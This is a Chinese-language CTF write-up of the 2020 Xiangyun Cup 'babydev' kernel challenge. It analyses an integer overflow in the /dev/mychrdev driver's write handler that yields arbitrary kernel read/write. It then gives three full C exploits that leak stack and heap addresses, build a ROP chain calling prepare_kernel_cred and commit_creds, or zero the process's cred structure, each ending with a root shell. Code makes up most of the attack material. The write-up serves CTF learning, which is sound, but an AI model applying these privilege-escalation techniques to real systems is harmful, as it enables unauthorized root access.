2020祥云杯-babydev

[toc]

查看文件

查看保护机制:

之前一直想复现一下这道题,当时没找到洞在哪。

IDA分析

首先了解这么几个参数:

文件的读写指针,规定write和read的位置;
文件的头指针,指向文件内容开始的地方,它存放在mydata+0x10000中,表示文件内容的起始地址相对于mydata的偏移;
三是文件的大小,它存放在mydata+0x10008中。

除此之外我们需要了解文件结构体:


struct file {
        union {
                struct llist_node  fu_llist;
                struct rcu_head      fu_rcuhead;
        } f_u;
        struct path              f_path;
        struct inode            *f_inode;  /* cached value */
        const struct file_operations       *f_op;

        /*     * Protects f_ep_links, f_flags.     * Must not be taken from IRQ context.     */
        spinlock_t            f_lock;
        enum rw_hint          f_write_hint;
        atomic_long_t              f_count;
        unsigned int                f_flags;
        fmode_t                  f_mode;
        struct mutex            f_pos_lock;
        loff_t                    f_pos;                     // 偏移 0x68 这也就是后面的一个功能可以对这个值控制
        struct fown_struct        f_owner;
        const struct cred     *f_cred;                  // 这里指向当前进程的cred结构体,偏移0x90
        struct file_ra_state    f_ra;

        u64                  f_version;#ifdef CONFIG_SECURITY
        void                      *f_security;#endif
        /* needed for tty driver, and maybe others */
        void                      *private_data;

#ifdef CONFIG_EPOLL
        /* Used by fs/eventpoll.c to link all the hooks to this file */
        struct list_head    f_ep_links;
        struct list_head    f_tfile_llink;#endif /* #ifdef CONFIG_EPOLL */
        struct address_space    *f_mapping;
        errseq_t                f_wb_err;
        errseq_t                f_sb_err; /* for syncfs */} __randomize_layout

主要有这几个功能

接下来一个一个的进行分析:

mychrdev_unlocked_ioctl

拷贝对应的 struct file 结构体 0xc8 位置的指针指向的内容(前0x28字节)到用户空间。可以泄露堆栈地址信息。

write

write每向 off + *(mydata+0x10000) + mydata 进行写操作,内容为用户空间传过去的值。同时 *(mydata + 0x10008) 处的值增大。

其实这个off = file->f_pos

我们看看write函数执行的检查:

第⼀个if判断,off⼤于0xffff和off⼤于等于已写⼊的总字符数同时成⽴时,才会返 回; 第⼆个if判断,⽤来更新n的值;如果off+n(要写⼊的字符数)的和⼤于0x10000 时,则对n重新赋值,n=0x10000-off。

可以发现,如果off的值大于0x10000时,在第⼆个if判断时,就会是 n=0x10000-0x10001,就会使得n的值发⽣整数溢出(强制转换(unsigned __int16)),就可以越界写。 那么,off能否取值为0x10001呢?可以⾸先使得* (_QWORD *)(mydata + 0x10008) )的值很⼤,这样,即使off>0xffff了,也可以通过第⼀个if的check。 如此⼀来,就可以对mydata+0x10001处的值进⾏写⼊了,配合控制off的值,就可以达到任意地址写的效果,同样的也就完成了任意地址读的目的。

read

file->f_pos + have_use + mydata 处的内容传给用户空间。

llseek

llseek用来同过设置 file->f_ops 设置 write() 和 read() 读写的位置。也就是设置read和write的第四个参数指针的值

思路

思路有三种:

1.第一种是直接任意地址写来改栈上的返回地址为rop拿shell

1:通过ioctl(fd,0x1111,stack)来leak内核栈、堆的地址信息;
2:通过write-lseek-write的操作增⼤写⼊的总字节数(*(_QWORD *)(mydata + 0x10008)),超出0x10000的范围,使得write函数第⼀个if判断,即使off的值 是⼤于0xffff的,依然可以继续执⾏。
3:通过lseek设置off=0x10001,然后write,由于off+n要⼤于0x10000,所 以会重新计算n=0x10000-0x10001,由于后⾯类型的转换为⽆符号数, n=0xffff,可以溢出写mydata+0x10000处的值。
4:可以控制mydata+0x10000、off的值,已知mydata的基地址,就可以实 现任意地址写了;由于已知栈的地址,所以选择劫持ret。
5:通过write在ret处写⼊rop提权数据,完成提权。这⾥rop提权师傅们已经 将得很详细了,就不再过多阐述。

2.第二种是爆破得到file结构体地址,根据file结构体得到cred地址去修改cred值

1.控制地址写的位置的主要是:file->f_pos(以下简称llseek)、以及 *(mydata+0x10000) 处存储的值。
2.通过多次的 write 配合 lseek,可以实现将 (mydata+0x10008) 一直增大,配合lseek,触发在write 函数中的一个溢出,可以实现对于 (mydata+0x10000) 和 *(mydata+0x10008) 这两个关键位置的劫持。
3.劫持 (mydata+0x10000) 和 (mydata+0x10008) 后,配合read函数进行任意地址读,爆破 file 结构体的地址,读取0x98大小,最后8个字节即为 file->f_cred 指向当前进程的 cred 结构体。
4.通过计算偏移,重新设置 lseek 和 *(mydata+0x10000) ,配合write函数做任意地址写,目标地址为我们爆破出的 cred 结构体的地址。
5.将当前进程的cred结构体前0x28写成全0,达到提权的目的。

3.爆破字符串得到cred地址,修改cred的值

与上面getshell方式类似,只是得到cred地址方式不同。

exp

exp1

#include<stdio.h>
#include <sys/types.h>//这⾥提供类型pid_t和size_t的定义 open
#include <sys/stat.h>
#include <fcntl.h>
//ioctl
#include <unistd.h> /* System V */
#include <sys/ioctl.h> /* BSD and Linux */
#include <stropts.h> /* XSI STREAMS */
#include<string.h>
//gcc -static ./exp.c -o exp
#define pop_rdi_ret 0xffffffff813ead2c
#define xchg_rax_rdi_ret 0xffffffff81768ef2
#define prepare_kernel_cred 0xffffffff8108d690
#define commit_creds 0xffffffff8108d340
#define swapgs_fq_bp_ret 0xffffffff81c00eae
#define iretq 0xffffffff81025a56
size_t user_cs, user_ss, user_rflags , user_sp;
static void save_state() {
 asm(
 "movq %%cs, %0\n"
 "movq %%ss, %1\n"
 "movq %%rsp, %3\n"
 "pushfq\n"
 "popq %2\n"
 : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags), "=r"
(user_sp));
}

static void shell(){
    printf("hget root\n");
    system("/bin/sh");
    exit(0);
}

int main(){
    save_state();
    int fd = open("/dev/mychrdev",2);
    char buffer[0x20000];
    size_t stack[6];
    ioctl(fd,0x1111,stack);
    size_t stack_data = stack[2];
    printf("stack_data is %p\n",stack_data);
    size_t temp=0xffffffff;
    size_t base=0xffffc90000000000;
    size_t stack_base = (stack_data&temp)|base;
    size_t mydata = stack[4];
    printf("stack==> %p\n",stack_base);
    printf("mydata==> %p\n",mydata);
    write(fd,buffer,0xf000);
    lseek(fd,0,0);
    write(fd,buffer,0xf000);

    size_t stack_target = stack_base -0x10;
    size_t stack_base_00 = stack_target & 0xffffffffffffff00;
    size_t stack_offset = stack_target & 0xff;
    lseek(fd,0x10001,0);
    size_t offset = (stack_base_00 - mydata) >> 8;
    getchar();
    write(fd,&offset,1);
    lseek(fd,stack_offset,0);
    size_t rop[50];
    int i = 0;
    rop[i++]=pop_rdi_ret;
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=xchg_rax_rdi_ret;
    rop[i++]=commit_creds;
    rop[i++]=swapgs_fq_bp_ret;
    rop[i++]=0;
    rop[i++]=0;
    rop[i++]=iretq;
    rop[i++]=&shell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;
    write(fd,rop,0x80);
    return 0;
}

exp2

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
// #include <linux/fs.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
size_t user_cs, user_ss, user_rflags, user_sp;  // 保存用户态寄存器状态
size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary;
void save_status()
{
    __asm__( "mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
}
int main(){
    int fd;
    size_t buf[0x10] = { 0 };
    size_t buf2[8192 + 2] = { 0 };
    size_t store = 0 ;
    buf2[8192] = 0xffffffffffffffff ;
    size_t buf3[0x10] = { 0 };
    buf3[0] = 0x6262626262626262 ;
    size_t buf4[0x100] = { 0 };

    // printf( "addr:%p\n" ,&buf);
    int size;
    fd = open("dev/mychrdev",O_RDWR);
    puts("");
    puts( "come to write!" );

    ioctl(fd,0x1111,&buf);
    for (int i=0;i<5;i++){
        printf("0x%llx\n",buf[i]);
    }
    // 不停的扩大 mydata + 0x10008 的值
    write(fd,buf2,0x10000 );
    lseek(fd,-0x10000,SEEK_CUR);
    write(fd,buf2,0x10000 );             // 0x0000000000000000      0x0000000000010008
    lseek(fd,-0x10000,SEEK_CUR);
    write(fd,buf2,0x10000 );
    lseek(fd,-0x10000,SEEK_CUR);
    // 0x30000

    lseek(fd,0x10001,SEEK_SET);     // 溢出 ,写 0x6161616161616161
// buf2[0] = 0x0000000000000000 ;
    buf2[0] = - 0x6d6 ;
    // buf2[0] = - 0x7d8 ;       // 0x280
    buf2[1] = 0x111111111111 ;
    // size_t full = 0xffffffffffffffff ;
    write(fd,buf2,0x10);     // 任意写 mydata + 0x10000 和 mydata + 0x10008 处的值

    // lseek(fd, 0 ,SEEK_SET);
    // sleep( 1 );
    read(fd,buf4,0x98 );
    // sleep( 1 );
    printf("read:0x%lx\n",buf4[18]); // 爆破一个字节,读出cred结构体的位置
    size_t cred_addr = buf4[18];


    lseek(fd,0x5d568,SEEK_CUR);      
    size_t cred_offset = 0 ;
    size_t fuck[5] = { 0 };
    fuck[0] = (size_t)(cred_addr - 0xffff88800db40000 );
    fuck[1] = 0x111111111111 ;
    write(fd,fuck,0x10);
    lseek(fd,-0x80000,SEEK_CUR);        // lseek 归零,为任意写做准备

    size_t fuck_cred[0x10] = {0};
    cred_offset = cred_addr - 0xffff88800dbc0000 ;

    puts("[*]fuck cred");
    write(fd,fuck_cred, 0x28 );                             // 任意写,fuck cred
    puts("[*]done" );
    system("echo \"root shell\" && /bin/sh");
    return 0;
// 0xffffffffc0000000
// 0xffffffff81000000
// .text: 0000000000000145                 mov     rdx, cs:mydata
// mydata: 0xffff88800db40000
// 0xffffffffc00002a7
// struct file : 0xffff88800daf3a00

}

exp3

exp来自队里的师傅

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

size_t heap;

void id()
{
    printf("uid:%d\n", getuid());
}

void show()
{
    int fd = open("/dev/mychrdev", O_RDONLY);
    u_char buf[0x100];

    ioctl(fd, 0x1111, buf);
    u_char *p = buf;
    printf("%d\n", *(int *)p);
    p += 4;
    printf("%s\n", p);
    p += 0x10;
    printf("0x%x\n", *(int *)p);
    p += 4;
    printf("0x%x\n", *(long *)p);
    p += 8;
    printf("%p\n", *(size_t *)p);
    heap = *(size_t *)p;
    close(fd);
}

void print_hex(char *buf, size_t len)
{
    int i;
    for (i = 0; i < ((len / 8) * 8); i += 8)
    {
        printf("0x%lx", *(size_t *)(buf + i));
        if (i % 16)
            printf(" ");
        else
            printf("\n");
    }
    printf("\n");
}

int main()
{

    id();

    show();

    int fd = open("/dev/mychrdev", O_WRONLY);
    u_char buf[0x10010];
    memset(buf, 0, sizeof buf);
    for (int i = 0; i < 2; i++)
    {
        long n = write(fd, buf, 0x10000);
        lseek(fd, 0, 0);
    }
    close(fd);


    size_t addr = 0x10000, pre_addr = 0;
    size_t cred, real_cred, target_addr;
    char target[16] = "try2findmep4nda";
    prctl(PR_SET_NAME, target);
    for (;; pre_addr = addr, addr += 0x10000)
    {
        // printf("pre_addr:0x%lX\n",heap-pre_addr);
        // printf("addr:0x%lX\n", heap-addr);
        size_t pos = pre_addr + 0x10001;
        // printf("pos:0x%lx\n", pos);

        fd = open("/dev/mychrdev", O_WRONLY);
        int n = lseek(fd, pos, 0);
        // printf("0x%x\n", n);
        // *(size_t *)buf = -0x10000LL;
        *(size_t *)buf = -(long long)(addr >> 8);
        *(size_t *)(buf + 8) = 0x100000000000LL;
        n = write(fd, buf, 0x1000);
        // printf("%x\n\n", n);
        close(fd);

        memset(buf, 0, sizeof buf);
        fd = fd = open("/dev/mychrdev", O_RDONLY);
        n = lseek(fd, 0, 0);
        // printf("%d\n", n);
        n = read(fd, buf, 0x10000);
        // printf("%d\n\n", n);
        close(fd);

        if (n != -1)
        {
            u_int result = memmem(buf, 0x10000, target, 16);
            if (result)
            {
                size_t temp = buf + result - (u_int)buf;
                real_cred = *(size_t *)(temp - 0x10);
                // target_addr = heap - addr + result - (u_int)(buf);
                break;
            }
        }
        else
        {
            break;
        }
    }

    pre_addr=addr;
    size_t mod=(real_cred>>16)<<16;
    addr=heap-mod;
    size_t p_pos=real_cred-mod;

    // printf("%p\n", pre_addr);
    // printf("%p\n", addr);
    // printf("%p\n", mod);
    // printf("%p\n", p_pos);

    fd = open("/dev/mychrdev", O_WRONLY);
    size_t pos = pre_addr + 0x10001;
    int n = lseek(fd, pos, 0);
    *(size_t *)buf = -(long long)(addr >> 8);
    *(size_t *)(buf + 8) = 0x100000000000LL;
    n = write(fd, buf, 0x1000);
    // printf("%x\n\n", n);
    close(fd);

    memset(buf, 0, sizeof buf);
    fd = fd = open("/dev/mychrdev", O_RDONLY);
    n = lseek(fd, p_pos, 0);
    // printf("%d\n", n);
    n = read(fd, buf, 0x100);
    // printf("%d\n\n", n);
    close(fd);

    // print_hex(buf,0x100);
    // printf("\n");
    for(int i=0;i<0x28;i++)
    {
        buf[i]=0;
    }
    // print_hex(buf, 0x100);
    fd = fd = open("/dev/mychrdev", O_WRONLY);
    n = lseek(fd, p_pos, 0);
    // printf("%d\n", n);
    n = write(fd, buf, 0x100);
    // printf("%d\n\n", n);
    close(fd);
    id();
    // close(fd);
    system("/bin/sh");
    return 0;
}

  Reprint policy: xiaoxin 2020祥云杯-babydev

 Previous
D-Link DIR-505越界漏洞分析 D-Link DIR-505越界漏洞分析
基本信息Link DIR-505路由器是一款便携式无线路由器,但在该路由器的“my_cgi.cgi”的CGI脚本中,存在缓冲区溢出的漏洞。造成漏洞的原因并不是常见的危险函数将大缓冲区复制到小缓冲区造成溢出,而是在目的缓冲区和源缓冲区之间以字
Next 
Vigor2960 CVE-2020-14472/14473 Vigor2960 CVE-2020-14472/14473
[toc] 背景产品介绍Vigor 2960 是一款企业级的VPN管理中心,通过灵活、可靠以及高性能的LAN to LAN和远程接入方案,为客户的商务活动提供了安全保障,同时也节省了成本,价格太贵就没考虑完整复现了。 提取文件系统利用ubi
2021-01-20
  TOC